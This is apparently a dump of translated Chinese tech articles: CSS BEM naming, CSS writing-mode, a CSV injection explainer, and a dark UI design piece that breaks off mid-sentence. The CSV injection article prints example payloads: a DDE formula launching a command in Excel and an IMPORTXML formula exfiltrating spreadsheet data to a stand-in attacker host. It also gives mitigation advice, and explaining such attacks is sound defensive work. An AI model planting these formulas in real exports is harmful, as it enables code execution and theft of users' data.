规范试图将整个用户界面分解成一个个小的可重复使用的组件。\n\n让我们来看看下图：\n\n![](https://cdn-images-1.medium.com/max/800/1*qFy4XIpxbWx4oaOA3TYqpQ.png)\n\n这可是个足以得奖的火柴人呢 :)\n\n哎，可惜并不是 :(\n\n这个火柴人代表了一个组件，比如说一个设计区块。\n\n或许你已经猜到了 BEM 这里的 B 意为『区块』（‘Block’）。\n\n在实际中，这里『区块』可以表示一个网站导航、页眉、页脚或者其他一些设计区块。\n\n根据上述解释，那么这个组件的理想类名称即是 `stick-man`。\n\n组件的样式应写成这样：\n\n```\n.stick-man {\n  \n }\n```\n\n在这里我们使用了连字符分隔法，很好！\n\n![](https://cdn-images-1.medium.com/max/800/1*US1EoM_lvYOeJabGDhV2Eg.png)\n\n### E 代表元素（Elements）\n\nBEM 中的 E 代表着元素。\n\n整体的区块设计往往并不是孤立的。\n\n比方说，这个火柴人有一个头部（`head`），两只漂亮的手臂（`arms`）和双脚（`feet`）。\n\n![](https://cdn-images-1.medium.com/max/800/1*MJO2vhGLlkQhTxGPO53YhQ.png)\n\nThe `head` , `feet`, and `arms` are all elements within the component. They may be seen as child components, i.e. children of the overall parent component.\n这些 `head`、 `feet` 和 `arms` 都是组件中的元素。它们可视作子组件（child components），也就是父组件的组成部分。\n如果使用 BEM 命名规范的话，这些元素的类名都可以通过在**两条下划线**后加上元素名称来产生。\n\n比如说：\n\n```\n.stick-man__head {\n}\n.stick-man__arms {\n}\n.stick-man__feet {\n}\n```\n\n### M 代表修饰符（Modifiers）\n\nM 在 BEM 命名法中代表修饰符。\n\n如果说这个火柴人有个 `blue` 或者 `red` 这样的修饰符怎么办呢？\n\n![](https://cdn-images-1.medium.com/max/800/1*Uj4IOaEtYynnUUJm_hAdwQ.png)\n\n在现实场景里，这可能是一个 `red` 或者 `blue` 的按钮。这就是之前在讲的组件当中的限定修饰。\n\n如果使用 BEM 的话，这些修饰符的类名都可以通过在两条**连字符**后加上元素名来产生。\n\n比如说：\n\n```\n.stick-man--blue {\n}\n.stick-man--red {\n}\n```\n\n最后这个例子展示的是父组件加修饰符。不过这种情况并不经常出现。\n\n假如我们这个火柴人拥有另一个不一样的头部大小呢？\n\n![](https://cdn-images-1.medium.com/max/800/1*qTM1TfotfLSRNjZ_PnWtAg.png)\n\n这一次元素被加上了修饰符。记住，元素指一个整体封装区块中的一个子组件。\n\n`.stick-man` 表示区块（`Block`）， `.stick-man__head` 表示元素（the element）。\n\n从上例可以看出，双连字符也可以这样使用：\n\n```\n.stick-man__head--small {\n}\n.stick-man__head--big {\n}\n```\n\n重申一次，上例中使用的双连字符是用来指代修饰符的。\n\n这样你都明白了吧。\n\n这就是 BEM 的基本用法。\n\n个人来说，我在小项目中一般只用连字符分割法来写类名，在用户界面更复杂的项目中使用 BEM 方法。\n\n关于 BEM，从这里了解[更多](http://getbem.com/naming/)\n\n[**BEM - Block Element Modifier**: _BEM - Block Element Modifier is a methodology, that helps you to achieve reusable components and code sharing in the…_getbem.com](http://getbem.com/naming/)\n\n### 为何要使用命名规范？\n\n> 在计算机科学当中只有两类难题：缓存失效和命名 - _Phil Karlton_\n\n命名的确很难。所以我们要尽量把它变得容易点，也为以后维护代码省点时间。\n\n能正确命名 CSS 中的类名可以让你的代码变得更易理解和维护。\n\n如果你选择 BEM 命名规范，在看标记语言（markup）时就更容易看清各个设计组件/区块之间的关系。\n\n感觉不错吧？\n\n### 和 JavaScript 关联的 CSS 名称\n\n今天是 John 上班第一天。\n\n他拿到了如下一段 `HTML` 代码：\n\n```\n<div class=\"siteNavigation\">\n</div>\n```\n\n因为刚好读了这篇文章，John 意识到这种命名方法在 CSS 中不是最好的方法。于是他讲代码修改成下面这样：\n\n```\n<div class=\"site-navigation\">\n</div>\n```\n\n看上去不错吧？\n\n不过 John 没想到的是，他把整个代码库搞砸了 😩😩😩\n\n为什么会这样？\n\n在 JavaScript 代码中，有一段是和之前的类名 `siteNavigation` 有关联的：\n\n```\n// Javasript 代码\nconst nav = document.querySelector('.siteNavigation')\n```\n\n由于类名的改变，`nav` 变量现在变成了 `null`。\n\n好忧桑。😔😔\n\n为了防止这种情况发生，开发者们想了很多不同的策略。\n\n#### 1. 使用 js- 类名\n\n一种减少这类 bug 的方法是使用 `**js-***` 的类名命名方法。用这种方法来表明这个 DOM 元素和 JavaScript 代码的关联。\n\n例如：\n\n```\n<div class=\"site-navigation js-site-navigation\">\n</div>\n```\n\n同样的在 JavaScript 代码中：\n\n```\n//the Javasript code\nconst nav = document.querySelector('.js-site-navigation')\n```\n\n依照命名规范，任何人看到 `**js-**site-navigation` 这个类名称，就会知道 JavaScript 代码中有一段和这个 DOM 元素有关联的代码。\n\n#### 2. 使用 Rel 属性\n\n我自己没用过这种方法，不过我看到其他人用过。\n\n你是否熟悉这样的代码？\n\n```\n<link rel=\"stylesheet\" type=\"text/css\" href=\"main.css\">\n```\n\n一般来说，**rel 属性** 定义着链接资源和引用它的文件之间的关系。\n\n回头看 John 的例子，这种方法建议我们写成如下的形式：\n\n```\n<div class=\"site-navigation\" rel=\"js-site-navigation\">\n</div>\n```\n\n同时在 JavaScript 中：\n\n```\nconst nav = document.querySelector(\"[rel='js-site-navigation']\")\n```\n\n我对这种方法持保留态度。不过你很可能在某些代码库中看到它们。这种方法就好像在说：**“好吧，这里和 Javascript 有个关联，那么我就用 rel 属性来表示这种关联。”**\n\n互联网这个地方，解决同一个问题常常有无数种『方法』。\n\n#### 3. 别用数据属性（data attributes）\n\n有些开发者用数据属性（data attributes）作为 JavaScript 钩子。这是不对的。根据定义，data 属性（data attributes）是用来 **储存自定义数据（to store custom data）** 的。\n\n![](https://cdn-images-1.medium.com/max/800/1*wYSuEHKyr4gikmoEaq-9jw.png)\n\n这里数据属性（data attributes）用得很妙。正如这条 Twitter 上所说的。\n\n### 附加提议：写更多的 CSS 注释\n\n这跟命名规范毫无关系，但也能帮你节省时间。\n\n尽管很多 web 开发者尽量不写 Javascript 评论或者只针对某些情况才写，但我认为你应该写更多的 CSS 注释。\n\n这是因为 CSS 不是最简洁优雅的『语言』，有条理的注释可以让你花更少时间来理解自己的代码。\n\n有益无弊，何乐不为。\n\n你可以看看 Bootstrap 的注释写得有多好。[source code](https://github.com/twbs/bootstrap/blob/v4-dev/scss/_carousel.scss)\n\n你倒不需要写一个 `color: red` 的注释告诉自己这是把颜色定为红色。但如果你用了一个不太简单明了的 CSS 小技巧，这时候大可以写写注释说明一下。\n\n### 准备好成为 CSS 大牛了么？\n\n我创建了一本可以让你 CSS 技能飙升的指南。[这里领取免费电子书](http://eepurl.com/dgDVRb)\n\n![](https://cdn-images-1.medium.com/max/800/1*fJabzNuhWcJVUXa3O5OlSQ.png)\n\n你不知道的七种 CSS 秘籍。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/css-writing-mode.md",
    "content": "> * 原文地址：[CSS Writing Mode](https://ishadeed.com/article/css-writing-mode/)\n* 原文作者：[Ahmad Shadeed](https://www.twitter.com/shadeed9)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [huanglizhuo](https://github.com/huanglizhuo)\n* 校对者：[Kulbear](https://github.com/Kulbear) , [shixinzhang](https://github.com/shixinzhang)\n\n# CSS writing-mode 的特别技巧\n\n最近在 Opera inspector 中编辑 CSS 时，我第一次注意到有一个名为 `writing-mode` 的 css 属性。经过一番搜索，发现它是用于垂直排版的语言，比如中文或者日文。然而，有趣的是如果我们把它用在英语中，可以很方便的创建垂直文本。\n\n>  writing-mode 属性定义了文字在文文字块中垂直或者水平方向，参考[MDN](https://developer.mozilla.org/en/docs/Web/CSS/writing-mode)。\n\n## 默认的书写模式\n\n支持这一属性的浏览器默认将这一属性设置为 `horizontal-tb` 。这将作用于水平排版的语言比如英语，法语，阿拉伯语等等。\n\n接下来我们将尝试 ` vertical-lr` 效果，lr 代表 从左到右 (Left to right)。\n\n## 例子1\n![](https://ishadeed.com/assets/writing-mode/example1.png)\n\n在上面的设计中，我们在左上角有个段落标题旋转了90度。如果不用 CSS `writing-mode` 来实现的话，我们需要做如下的事：\n\n1. 添加 `position:relative` 给要包裹的元素创建位置上下文。\n\n2. `position:absolute` 给标题添加绝对位置。\n\n3. 根据我们想要的旋转给它添加 transform-orgin 属性。在这个例子中我们想要把它放在左上角，因此我们添加 `transform-origin: left top` 。\n\n4. 添加 `transform: rotate(90deg)` 旋转标题。\n\n5. 最后，需要给包裹的左边元素添加些 padding 以防标题和网格内容重叠。\n\n```\n<section class=\"wrapper\">\n    <h2 class=\"section-title\">Our Works</h2>  \n    <div class=\"grid\">\n        <div class=\"grid__item\"></div>\n        <div class=\"grid__item\"></div>\n        <div class=\"grid__item\"></div>\n        <div class=\"grid__item\"></div>\n    </div>\n</section>\n```\n\n    .wrapper {\n        position: relative;\n        padding-left: 70px;\n    }\n    \n    .section-title {\n        position: absolute;\n        left: 0;\n        transform-origin: left top;\n        transform: rotate(90deg);\n    }\n\n做这样一个设计就需要这么多代码，好烦。现在看看用 CSS `writing-mode` 怎么 写吧：\n\n    .section-title {\n        writing-mode: vertical-lr;\n    }\n\n完成，就这么简单！:D 正如你所看到的，并不需要像之前那样，设置什么位置或者添加 padding 。看看下面这个 [Demo ](http://codepen.io/shadeed/pen/13edb031a3d18f30ce22360562039b5e/)\n\n## 例子2\n![](https://ishadeed.com/assets/writing-mode/example2.png)\n\n在这次的设计中，我们在内容旁边垂直摆放着一个分享控件。我们确实可以不用 CSS `writing-mode` 就可以简单实现，但有意思的是当我们用 `writing-mdoe` 实现社交分享控件时，我们可以让它垂直居中(居左，居中，或者居右)。\n\n正如例子中那样，社交分享按钮垂直靠在它的父元素顶部。通过改写 CSS `text-align` 属性就可以做到这样，比如：\n\n\n    .social-widget {\n        writing-mode: vertical-lr;\n        text-align: right;\n    }\n\n![](https://ishadeed.com/assets/writing-mode/example2-2.png)\n\n这次是靠着父元素的底部。很简单，对吧！ 下个例子中，将会垂直居中。\n\n    .social-widget {\n        writing-mode: vertical-lr;\n        text-align: center;\n    }\n\n![](https://ishadeed.com/assets/writing-mode/example2-3.png)\n\n参看 这个 [Demo](http://codepen.io/shadeed/pen/8a7e787c90e25ca3b03fa4c688aab303/)\n\n说明一下：我已经不再用 icon font 而是[切换到](https://ishadeed.com/article/using-svg-icons/) SVG ，我用 icon font 只是为了演示。\n\n## 浏览器支持\n\n情况不错，有84.65%的浏览器支持这个属性。现在起你就可以使用这个属性来获得便利了（就如同在我们的例子中）。\n\n看看下面这一片绿吧 ! :)\n\n\n![](https://ishadeed.com/assets/writing-mode/caniuse-support.jpg)CSS Writing Mode support from caniuse.com\n\n## 酷炫的前端社区 Demos \n\n- [Floated title with writing-mode](http://codepen.io/julianlengfelder/pen/VjBjoj) by Julian Lengfelder.\n- [Clever Idea to center content horizontally and vertically](http://codepen.io/sleithart/pen/kXjLLk) By Sheffield.\n\n## 延伸阅读\n\n- \n[CSS Writing Mode](https://developer.mozilla.org/en/docs/Web/CSS/writing-mode)\n\n- \n[Vertical text with CSS 3 Writing Modes](http://generatedcontent.org/post/45384206019/writing-modes)\n\n喜欢我的文章，觉得可能帮助其它人 ？ 那么赶快在 [Twitter](http://twitter.com/share?text=CSS%20Writing%20Mode&amp;url=https://ishadeed.com/article/css-writing-mode/) 上分享它吧。\n\n感谢你的阅读\n"
  },
  {
    "path": "TODO/csv-injection.md",
    "content": "> * 原文地址：[The Absurdly Underestimated Dangers of CSV Injection](http://georgemauer.net/2017/10/07/csv-injection.html)\n> * 原文作者：[georgemauer](http://georgemauer.net/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/csv-injection.md](https://github.com/xitu/gold-miner/blob/master/TODO/csv-injection.md)\n> * 译者：[mnikn](http://github.com/mnikn)\n> * 校对者：[yct21](https://github.com/yct21)，[CACppuccino](https://github.com/CACppuccino)\n\n# CSV 注入：被人低估的巨大风险\n\n最近我在记录本地用户近期的电费时发现这个问题，有人叫我把它写出来。\n\n在某些方面上看来这是个旧新闻，但是从其他的角度看。嗯，我认为很少人意识到这个问题有有多强的破坏力，并且它能造成多大范围的损害。对于将用户的输入结果和允许管理员大批量的把信息导出到 CSV 文件的应用来说，都存在着一个有效的攻击方向。\n\n对于每个应用都有效。\n\n**修订：** 值得称赞的是,这些文章指出了这个问题 [一位安全专家 2014 年的文章，里面探讨了一部分攻击方向](https://www.contextis.com/blog/comma-separated-vulnerabilities)。[另外一篇](http://blog.7elements.co.uk/2013/01/cell-injection.html)。\n\n现在我们开始正题吧 —— 设想我们有个记录时间或者票据的应用。用户们可以输入自己的时间（或者票据）到应用中，但是不能查看其他用户这部分的信息。然后网站管理员把这些输入信息导出到一个 CSV 文件，用一个电子表格应用打开它。看起来很正常。\n\n## 攻击方向 1\n\n我们都知道 CSV 文件是什么。其特征很简单，导出来的 CSV 文件看起来像是这样的\n\n```\nUserId,BillToDate,ProjectName,Description,DurationMinutes\n1,2017-07-25,Test Project,Flipped the jibbet,60\n2,2017-07-25,Important Client,\"Bop, dop, and giglip\", 240\n```\n\n够简单。里面没有什么危险的东西。连 [RFC](https://tools.ietf.org/html/rfc4180) 也这样描述：\n\n> CSV 文件里包含的文本应该不会有任何风险。\n\n即使从定义上看，它也应该是安全的。\n\n等下，让我们来试一试将 CSV 文件修改为下面内容\n\n```\nUserId,BillToDate,ProjectName,Description,DurationMinutes\n1,2017-07-25,Test Project,Flipped the jibbet,60\n2,2017-07-25,Important Client,\"Bop, dop, and giglip\", 240\n2,2017-07-25,Important Client,\"=2+5\", 240\n```\n![在 Excel 里计算表达式](http://georgemauer.net/img/csv-injection/excel-formula.png) ![在 Google Sheets 里计算公式](http://georgemauer.net/img/csv-injection/gsheets-formula.png)\n\n打开自 Excel（左边）和 Google Sheets（右边）。\n\n嗯。这很奇怪。虽然单元格的内容在引号内，但由于第一个字符是 `=`，它以一个表达式的形式被处理。实际上 —— 至少是在 Excel 里 —— 包括 `=`，`-`，`+` 和 `@` 这样的符号都会触发这种行为，结果管理员发现数据的格式不正确，并因此而花大量的时间来查找原因（正是 Excel 的这个现象引起了我的注意力）。这很奇怪，但不是很**危险**，不是吗？\n\n再等一下，表达式**就是**可以执行的代码。所以用户可以执行代码 —— 虽然只是表达式代码 —— 执行在管理员的机器上，而这台机器里有权限接触**用户**数据。\n\n如果我们把 CSV 文件改成这样会有什么结果？（注意最后一行的 Description 列）\n\n```\nUserId,BillToDate,ProjectName,Description,DurationMinutes\n1,2017-07-25,Test Project,Flipped the jibbet,60\n2,2017-07-25,Important Client,\"Bop, dop, and giglip\", 240\n2,2017-07-25,Important Client,\"=2+5+cmd|' /C calc'!A0\", 240\n```\n\n如果我们用 Excel 打开会有什么结果？\n\n![计算器会打开！](http://georgemauer.net/img/csv-injection/calc.png)\n\n额滴神啊！\n\n没错，系统的计算器打开了。\n\n公平的说，在此之前**的确有出现过一个警告**。只是这警告是一大块文字，没人想要读它。即使有人想读，它也会明确建议：\n\n> 只有当你信任这个 workbook 的数据时才点击确定\n\n你想知道为什么会这样吗？这是一个应用的导出文件，是给**管理员**用的。他们当然信任这些数据！\n\n如果他们的技术很好呢？那么更糟糕。他们**知道** CSV 格式只是文本数据，因此不可能造成任何伤害。他们十分确信这一点。\n\n就像这样，攻击者有无限制的权力在别人的电脑上下载键盘记录，安装东西，完全远程地执行代码，而且这台电脑如果属于一个经理或者一间公司的管理员的话，还可能有权限接触所有用户的数据。我想知道在这台电脑里面还有别的文件可以窃取吗？\n\n# 攻击方向 2\n\n好吧，以上的主要内容挺简短，但是毕竟这是个（相对）[有名的漏洞](https://www.owasp.org/index.php/CSV_Excel_Macro_Injection)。作为一个安全专家，可能你已经警告了所有的管理员谨慎使用 Excel，或者会考虑使用 Google Sheets 来代替它。毕竟，Sheets  不会被宏影响，不是吗？\n\n这完全正确。所以我们收回“运行任何东西”的野心上，并把注意力放在仅仅是盗取数据上。毕竟，这里的前提是攻击者是一个普通的用户，他只能接触自己输入在系统上的数据。而一个管理员有权力看到每个用户的数据，我们有什么办法可以利用这一点吗？\n\n好好回想一下，我们虽然不能在 Google Sheets 里运行宏，但是我们完全**可以**运行表达式。并且表达式不仅仅限制于简单的算术。实际上，我想问下在公式中是否有可用的 Google Sheets 命令能让我们把数据传输到其他地方？答案是有的，有很多的方法可以做到这一点。我们先关注其中的一个方法[`IMPORTXML `](https://support.google.com/docs/answer/3093342?hl=en)。\n\n> IMPORTXML(url, xpath_query)\n\n当运行这个命令时，它会对上面的 url 发出一条 HTTP GET 请求，然后尝试解析并把返回数据插入到我们的电子表格。你是不是有一点想法了？\n\n如果我们的 CSV 文件有以下内容：\n\n```\nUserId,BillToDate,ProjectName,Description,DurationMinutes\n1,2017-07-25,Test Project,Flipped the jibbet,60\n2,2017-07-25,Important Client,\"Bop, dop, and giglip\", 240\n2,2017-07-25,Important Client,\"=IMPORTXML(CONCAT(\"\"http://some-server-with-log.evil?v=\"\", CONCATENATE(A2:E2)), \"\"//a\"\")\",240\n```\n\n攻击者以符号 `=` 作为单元格的开头，然后把 `IMPORTXML` 的地址指向了一个攻击者的服务器，并把电子表格的数据作为查询字符串附在该地址上。现在攻击者可以打开他们的服务器日志然后 **yoooooo**。终于拿到了不属于他们的数据。[在 Requestb.in 上自己试一试](https://requestb.in/)。\n\n有什么踪迹会留下来吗？没有警告，没有弹框，没有任何理由认为有出现过什么问题。攻击者只是输入了一个格式过的时间／问题／其他数据的条目，最终管理员当要看导出的 CSV 文件时，所有限制访问的数据都会瞬间，并悄悄地传输出去了。\n\n等一下，**我们能做得更过分**。\n\n表达式式是运行在管理员的浏览器上的，这里面有**管理员**的用户账号和安全信息。并且 Google Sheets 并不是只能操作当前电子表格的数据，实际上它可以从 [**其他**电子表格](https://support.google.com/docs/answer/3093340) 拿数据，只要用户有接触过这些表格就行。而攻击者只需要知道其他表格的 id。这些信息通常不是什么秘密，它出现在电子表格的 url 上，通常会意外地发现电子邮件上有这些信息，或者发布在公司内部的文档上，通过 Google 的安全策略来确保只有授权用户才可以接触这些数据。\n\n所以说，不**只是**你的导出结果／问题／其他数据可以溜出去。你的管理员有分别接触过客户列表或者工资信息的电子表格？那么这些信息可能也可以搞出去！一切尽在不言中，没有人会知道发生过这些事。一颗赛艇！\n\n当然同样的诡计也可以完美地运行在 Excel 上。实际上，Excel 在这方面上简直是楷模 [警方曾经利用过这个漏洞来追踪罪犯](https://www.thedailybeast.com/this-is-how-cops-trick-dark-web-drug-dealers-into-unmasking-themselves)。\n\n但事情不一定会这样发展。\n\n我展示这些信息给了大量的安全研究员看，他们指出了犯罪者的各种恶作剧。例如犯罪者在他们各自的通讯中植入了信息，这些信息是他们服务器的信标。这样一来，如果研究员秘密地查看他们在电子表格上的通讯信息，那么这个信标就会熄灭，这样犯罪者就可以有效地逃避想要窃听他们的人。\n\n这很不理想。\n\n## 预防\n\n所以这一切到底是谁的错？\n\n当然这不是 CSV 格式的错。格式本身不会自动地执行“像一条公式”的东西，这不是原本就有的用法。这个 bug 依赖于常用的电子表格程序，是程序在实际地做错事。当然 Google Sheets 必须和 Excel 的功能保持一致，而 Excel 必须支持已存在的数百万个复杂的电子表格。另外 —— 我不会研究这件事 —— 但  有充分理由相信 Excel 的行为来自于古代的 Lotus 1-2-3 的奇怪处理。目前来说让所有的电子表格程序改变这一行为是一大困难。我想应该把注意力转为改变每个人上。\n\n我曾向 Google 报道他们的电子表格程序有漏洞。他们承认了，但是声称已经意识到了这个问题。虽然我确信他们明白这是一个漏洞，但他们给我一个明显的感觉：他们并没有真正考虑到在实践中可能会被滥用的情况。 至少在 CSV 导入并即将生成外部请求时，Google Sheets 应该发出一个警告。\n\n但是把这件事的责任推在应用程序的开发者上也不是很实际。毕竟，大部分的开发人员没有理由在一个简单的业务应用里写了导出功能后，还会怀疑会出现这个问题。实际上，即使他们阅读该死的 RFC 也**仍然**不会有任何线索来发现这个问题。\n\n那么你怎么预防这件事呢？\n\n好吧，尽管 StackOverflow 和其他的网站提供了丰富的建议，但我发现只有一个（不在文档内的）方法可以使用在任意的电子表格程序上：\n\n对于任何以表达式触发字符 `=`，`-`，`+`或者 `@` 开头的单元格，您应该直接使用 tab 字符作为前缀。注意，如果单元格里的内容有引号，那么这个字符要在引号**内**。\n\n```\nUserId,BillToDate,ProjectName,Description,DurationMinutes\n1,2017-07-25,Test Project,Flipped the jibbet,60\n2,2017-07-25,Important Client,\"Bop, dop, and giglip\", 240\n2,2017-07-25,Important Client,\"\t=2+5\", 240\n```\n\n这很奇怪，但是起作用了，同时 tab 字符不会显示在 Excel 和 Google Sheets 上。所以这就是我想要的吗？\n\n不幸的是，这个故事还没完。这个字符虽然不会显示，但是仍然存在。用 `=LEN(D4)` 来快速测一下字符串的长度就可以确认这一事实。因此，在单元格的值只用来显示，而不会被程序所使用的前提下，这是一个可接受的方案。。更进一步，有趣的是这个字符会造成奇怪的不一致。CSV 格式用在**应用程序之间**的信息交流上。这意味着从一个应用程序导出的转义单元格的数据将会被另一个应用程序导入并作为数据的一部分。\n\n最终我们得出一个糟糕的结论，当生成 CSV 导出文件时，你**必须知道这导出文件是用来做什么的**。\n\n* 如果是为了在电子表格程序中计算时的能够看到这些数据，则应使用 tab 来转义。实际上这更重要，因为您不希望在导出到电子表格时字符串是“-2 + 3”时出现的结果为“1”，这让人感觉就像是用编程语言解析的结果。\n* 如果它被用作系统间的数据交流，那么不要转义任何东西。\n* 如果您不知道会发生什么事情，或者是要在电子表格应用程序中使用，或者随后这个电子表格将被用作软件的导入源，放弃吧，只能祈祷不会发生什么事情了（或者，**总是**在使用 Excel 时断开网络连接，并在工作时遵循所有的安全提示）（修订：这并非 100％ 安全，因为攻击者仍然可以使用宏，让自己的二进制文件来覆盖已知的文件。去他的。）。\n\n这是一场恶梦，人们可以利用这个漏洞做些邪恶的事情，并因此而造成损失，而且还没有明确的解决方案。这个漏洞应该要让更多更多的人知道。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/dark-side-of-ui-benefits-of-dark-background.md",
    "content": ">* 原文链接 : [Dark Side of UI. Benefits of Dark Background](https://medium.com/@tubikstudio/dark-side-of-ui-benefits-of-dark-background-12f560bf7165#.k0d00u47a)\n* 原文作者 : [Tubik Studio](https://medium.com/@tubikstudio)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [yangzj1992](http://qcyoung.com)\n* 校对者: [David Lin](https://github.com/wild-flame), [Ruixi](https://github.com/Ruixi)\n\n# UI 的黑暗面！暗色背景的优势\n\n![](http://ac-Myg6wSTV.clouddn.com/18dcdce02f167c38bd04.jpeg)\n\n在用户界面的背景中选择是否使用暗色调仍然是一个具有高度争议的问题。毋庸置疑，这个问题是很实际的：选择一个合适的背景在所有的产品功效上都起着至关重要的作用，因为它可能会是改善或是反而毁掉设计方案中布局和功能的关键因素。在今天，我们的文章将致力于讨论在 UI 设计中使用暗色背景的好处和缺陷，所以让我们前往 UI 的黑暗面吧。\n\n在我们[之前的文章](http://tubikstudio.com/light-and-darkness-in-ui-design-matter-of-choice/)中我们已经分析了一些可以影响选择通常的配色方案和基本的背景颜色的因素，也提到了一些在这个过程中要考虑的重点。这一次我们将更多的关注暗色设计的网站和移动应用的优缺点。我们在 [Tubik Studio](http://tubikstudio.com/) 中创建并测试了不同的用户界面，这些实际的工作经验证实了暗色背景会是强大而有吸引力的、能提供积极用户体验的解决方案。所以，理所当然的，让我们来开始讨论应该在何时何地怎样让它最大程度的发挥效果吧。\n\n### 对于暗色的视觉感知\n\n很久之前，在 2009 年曾有过一个公开的投票调查结果，[ProBlogger](http://www.problogger.net/archives/2009/05/19/light-or-dark-blog-backgrounds-poll-results/) 基于此已经公布了一些有趣的观点。读者被问及他们更喜欢哪种颜色的博客背景。几乎一半的读者回答更喜欢亮色背景 - 这对于传统的文本驱动型博客来说是十分合理的，在可读性方面如此可以胜过其他方案。然而，有 10% 的受访者回答他们更喜欢暗色背景，并且有超过三分之一的人提到选择的依据应该取决于博客的性质和内容。设计师在寻找设计方案时是不能忽略占有如此大比例的用户的。此外，在具有更少的文本型驱动内容的数字产品情况时，如网站或应用程序中，持上述观点的人数比例应该还会增加。这个例子很好的说明了用户研究和调查应该是设计过程中的重要组成部分。了解用户想要什么或是至少了解他们所能够接受的是什么，这能够将传统视觉的限度推向一个极致。\n\nRichard H. Hall 和 Patrick Hanna 对于这个问题提供的[科学研究](http://lite.mst.edu/media/research/ctel/documents/LITE-2003-04.pdf)中强调了视觉感知的背景颜色和效果的关键点。在分析了不同研究者之前对网络页面效果和可读性方面的实际试验后。作者们总结了：「_他们发现正向对比(即白底黑字)会有更好的效果，并与之前提到的研究结合，说明颜色组合之间的对比度越大效果越好。_」因此在合适的设计和测试下，在其他方面深色背景也可以像浅色背景一样具有好的效果，尤其是在对比性以及布局元素的易读性上。在用户测试角度上这项研究基于不同颜色组合和效果下包含了很多有趣及有用的信息。所以在此强烈推荐给设计师们。\n\n![](http://ac-Myg6wSTV.clouddn.com/f5f8b33e3c4fb542fef3.jpg)\n\n<figcaption>[Ribbet 的用户界面](http://tubikstudio.com/works-ribbet/) 来自 Tubik Studio</figcaption>\n\n### 可读性方面\n\n用户体验设计的著名大师之一 Jacob Nielsen 曾提到过：「_在使用高对比度颜色的文本和背景时。最优的易读性方案是要求使用黑色文字和白色背景(所谓的正向文本)。而白色文字和黑色背景(反向文本)几乎也是一样好的。尽管这在对比度上与正向文本是一样的，但倒配色方案会让人们略微有些迷惑并会稍微降低他们的阅读速度。易读性相当受配色方案的影响，像文本比纯黑稍亮的颜色，尤其是背景色比纯白稍暗的配色，易读性会变得很差_。」\n\n的确，可读性是产品效果表现上的重要指标并且它不仅只针对文本。它超越了文本的限制并且意味着所有有意义的象征，包括字母，数字，象形符号和图片都应该被留意到并轻易的在界面中识别出。因此，设计师在选择深色的背景时应该准备更额外深入的选择并测试不同设备上的字体、图标和图像。\n\n![](http://ac-Myg6wSTV.clouddn.com/30476ea6fc9c5178170f.png)\n\n<figcaption>[SwiftyBeaver 的着陆页](https://dribbble.com/shots/2632600-SwiftyBeaver-Landing-Page) 来自 [Ludmila Shevchenko](https://dribbble.com/LudmilaShevchenko)</figcaption>\n\n最好的网页和应用程序的设计实践，例如 [Awwwards 上最好的黑色网站](http://www.awwwards.com/websites/black/)合集上的例子，这里展现了大量使用深色背景作为基础配色的优秀设计方案，这些方案都没有以牺牲可读性为代价。为了避免低可读性这个问题，在设计过程中重要的是要记住：\n\n*   深色背景会吸收一部分其他元素的光线，所以应该在元素之间留有足够的空间或\"气\";\n*   行的长度可以让文本区块对用户更具可读性并易于理解;\n*   行间距的空间设计，以及文本行的长度问题都会对可读性具有很大的影响，在深色背景下尤甚，所以段落的大小，字距和行间距都需要仔细考虑。\n*   深色并不总是意味着黑色，所以在每一个特定情况的设计中，去花费一些时间测试不同种类的深色背景和颜色所呈现的内容是十分合理的，在试验中尽情的尝试吧;\n*   阴影，渐变和光晕都会影响可读性;\n*   无衬线字体通常比较清晰，而衬线字体看起来更加优雅，在实践中应用这个因素可以增强内容的可读性。\n\n### 对比度方面\n\n[webdesign.about.com](http://webdesign.about.com/od/color/l/bl_contrast_table.htm) 用表格展现了一个有趣的视觉感知方面需要考虑的展现效果。该表展示了不同的颜色组合之间的对比和效果水平并提供了一个有趣的事实：表中的黑色部分是唯一一个可以为几乎所有颜色提供良好对比度效果的颜色。因此在设计界面的每一个特定情况下去仔细试验，这一因素可以作为尝试使用深色背景的理由之一。\n\n![](http://ac-Myg6wSTV.clouddn.com/962624f37bb9c9a8b839.jpg)\n\n在可读性方面，对比度能是使内容更容易识别和清晰的因素之一。\n\n关于对比度和可读性的这种提示信息在之前的一个[早期的调查](http://www.writer2001.com/colwebcontrast.htm)中有说过：「_在深色背景下，确保你没有包含相当明亮的字体：使用柔和的白色到浅灰色字体，或使用单调的色彩来最小程度的减少巨大的反差和眩光；这个原则在做幻灯片时也同样适用：用至少 5% 